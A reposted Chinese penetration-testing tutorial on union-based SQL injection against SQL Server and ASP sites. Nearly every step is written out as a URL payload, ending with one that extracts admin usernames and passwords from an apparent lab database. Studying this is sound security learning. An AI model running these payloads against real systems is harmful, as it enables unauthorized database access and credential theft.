當前位置:網站首頁>71.網絡安全滲透測試—[SQL注入篇10]—[SQLSERVER+ASP-聯合查詢注入]

71.網絡安全滲透測試—[SQL注入篇10]—[SQLSERVER+ASP-聯合查詢注入]

2022-01-27 08:53:35 qwsn

我認為,無論是學習安全還是從事安全的人,多多少少都有些許的情懷和使命感!!!

一、SQLSERVER+ASP 聯合查詢注入

1、SQLSERVER 相關概念:

     (1)sqlserver經常與asp或者aspx一起使用,操作系統多數是win2012、win2018, 數據庫版本大多是sql2008、sql2012

     (2)sqlserver 常用系統函數:

@@version 版本信息
host_name()  計算機名稱
suser_name() 用戶登錄名
user_name() 用戶在數據庫中的名字
show_role() 對當前用戶起作用的規則
db_name() 數據庫名
object_name(obj_id) 數據庫對象名
col_name(obj_id,col_id) 列名
col_length(objname,colname) 列長度
valid_name(char_expr) 是否是有效標識符

     (3)注釋符號

--空格 		單行注釋
/* */ 	多行注釋

2、SQLSERVER+ASP 聯合查詢注入示例:

參考鏈接傳送門

     (1)判斷是否存在注入:and/or邏輯判斷

and 1=2		# 頁面錯誤
and 1=1		# 頁面正常

     (2)判斷列數:order by

?id=1 order by 3
?id=1 order by 4

     (3)聯合查詢注入—判斷回顯比特:聯合查詢要求,聯合查詢的列與被聯合查詢的列的個數和類型一致,類型一致問題可以使用null值繞過。

        示例1-類型必須一致:?id=1 union select 1,'2','3'
在這裏插入圖片描述在這裏插入圖片描述        示例2-null值繞過類型:?id=1 union select null,null,null
在這裏插入圖片描述
        示例3-前置查詢結果置空繞過:?id=-1 union select 1,2,3
在這裏插入圖片描述

     (4)聯合查詢注入—查詢系統信息

        示例1-查詢版本:?id=1 union select 1,@@version,'3'

在這裏插入圖片描述
        示例2-查詢用戶登錄名:?id=1 union select 1,suser_name(),'3'

在這裏插入圖片描述        示例3-查詢數據庫名:?id=1 union select 1,db_name(),'3'
在這裏插入圖片描述

     (5)聯合查詢—當前數據庫的錶名

?id=1 union select top 第幾行前的數據 1,'2',name FROM mydb.sys.sysobjects where xtype = 'U'

        示例1-查詢mydb庫的第一個錶對象:?id=1 union select top 1 1,'2',name FROM mydb.sys.sysobjects where xtype = 'U'
在這裏插入圖片描述

        示例2-查詢mydb庫的錶對象(可以排除我們查過的錶對象):?id=1 union select top 100 1,'2',name FROM mydb.sys.sysobjects where xtype = 'U' and name!='cmd'

在這裏插入圖片描述

        示例3-查詢mydb庫的所有錶對象:?id=1 union select top 100 1,'2',name FROM mydb.sys.sysobjects where xtype = 'U'
在這裏插入圖片描述

     (6)聯合查詢—admin錶的列/字段對象

?id=1 union Select 1,'2',name from 數據庫名.sys.syscolumns Where ID=OBJECT_ID('數據庫.dbo.錶名')

        示例1-查詢admin錶的所有字段名:?id=1 union Select 1,'2',name from mydb.sys.syscolumns Where ID=OBJECT_ID('mydb.dbo.admin')

在這裏插入圖片描述
        示例2-查詢admin錶的字段名(排序某一項):?id=1 union Select 1,'2',name from mydb.sys.syscolumns Where ID=OBJECT_ID('admin') and name!='username'

在這裏插入圖片描述

     (7)聯合查詢—admin錶的數據

?id=1 union select null,字段名,字段名 from 錶名

        示例-查詢admin錶的數據:?id=1 union select null,username,password from admin

在這裏插入圖片描述

3、總結:

(1)聯合查詢要求,聯合查詢的列與被聯合查詢的列的個數和類型一致(類型一致即可,或者前置查詢結果置空繞過,或者null值代替列名繞過)。

(2)聯合查詢步驟:5步驟

         1.當前庫名:?id=1 union select 1,db_name(),'3'

         2.當前庫版本:?id=1 union select 1,@@version,'3'

         3.當前庫的所有錶:?id=1 union select top 第幾行前的數據 1,'2',name FROM mydb.sys.sysobjects where xtype = 'U'

         4.某個錶的所有字段:?id=1 union Select 1,'2',name from 數據庫名.sys.syscolumns Where ID=OBJECT_ID('數據庫.dbo.錶名')

         5.某個錶的所有數據:?id=1 union select null,字段名,字段名 from 錶名

版權聲明
本文為[qwsn]所創,轉載請帶上原文鏈接,感謝
https://cht.chowdera.com/2022/01/202201270853354612.html

隨機推薦